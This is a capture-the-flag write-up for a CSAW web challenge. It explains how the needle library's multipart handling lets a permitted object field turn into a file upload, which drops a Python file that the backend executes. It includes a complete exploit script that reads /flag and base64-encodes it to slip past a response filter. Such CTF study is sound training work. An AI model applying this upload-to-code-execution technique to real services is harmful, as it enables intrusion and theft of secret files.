Challenge

An Express site where you adopt an “angel” and can back it up and restore it. The frontend forwards to a backend over the needle library:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
app.post('/angel', (req, res) => {
    for (const [k,v] of Object.entries(req.body.angel)) {
        if (k != "talents" && typeof v != 'string') {
            return res.status(500).send("ERROR!");
        }
    }
    req.session.angel = {
        name: req.body.angel.name,
        actress: req.body.angel.actress,
        movie: req.body.angel.movie,
        talents: req.body.angel.talents
    };
    const data = { id: req.sessionID, angel: req.session.angel };
    const boundary = Math.random().toString(36).slice(2) + Math.random().toString(36).slice(2);
    needle.post(BACKUP + '/backup', data, {multipart: true, boundary: boundary}, (error, response) => { ... });
    return res.status(200).send(req.sessionID);
});

app.get('/restore', authn, (req, res) => {
    let restoreURL = BACKUP + `/restore?id=${req.sessionID}`;
    needle.get(restoreURL, (error, response) => { ... return res.send(response.body); });
});

Note the validation: every field except talents has to be a string. talents is allowed to be an object. The flag lives in a file named flag, and the restore path filters out responses that contain flag-looking content, so it has to come back disguised.

Approach

needle has a half-documented behavior: when it sends a multipart body and any field (or subfield) is an object carrying the magic keys filename, content_type, and buffer, it implicitly turns that field into a file upload (source).

Since talents is allowed to be an object, it can carry exactly those keys. The backend writes the saved angel to a file, and it will execute a saved angel as Python if a matching .py file exists. So the upload drops <session-id>.py with attacker content, and the restore step runs it. To get past the flag filter on the response, the payload base64-encodes the flag before printing.

Solution

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests

session = requests.Session()
ENDPOINT = "https://charliesangels.ctf.csaw.io"

r = session.get(f"{ENDPOINT}/angel")
session_id = r.json()["id"]

SOLUTION_FILE_CONTENTS = """
import base64
with open("/flag", "rb") as f:
    flag_contents = f.read()
print(base64.b64encode(flag_contents))
"""

# talents is allowed to be an object, so needle uploads it as a file
session.post(f"{ENDPOINT}/angel", json={
    "angel": {
        "talents": {
            "filename": f"{session_id}.py",
            "content_type": "text/x-python",
            "buffer": SOLUTION_FILE_CONTENTS
        }
    }
})

r = session.get(f"{ENDPOINT}/restore")
print(r.text)

The restore returns the base64 blob, which decodes to the flag:

Y3Nhd2N0Zntnb29kX21vcm5pbmdfYW5nZWxzIV9HT09EX01PUk5JTkdfQ0hBUkxJRSEhfQ==

Flag

csawctf{good_morning_angels!_GOOD_MORNING_CHARLIE!!}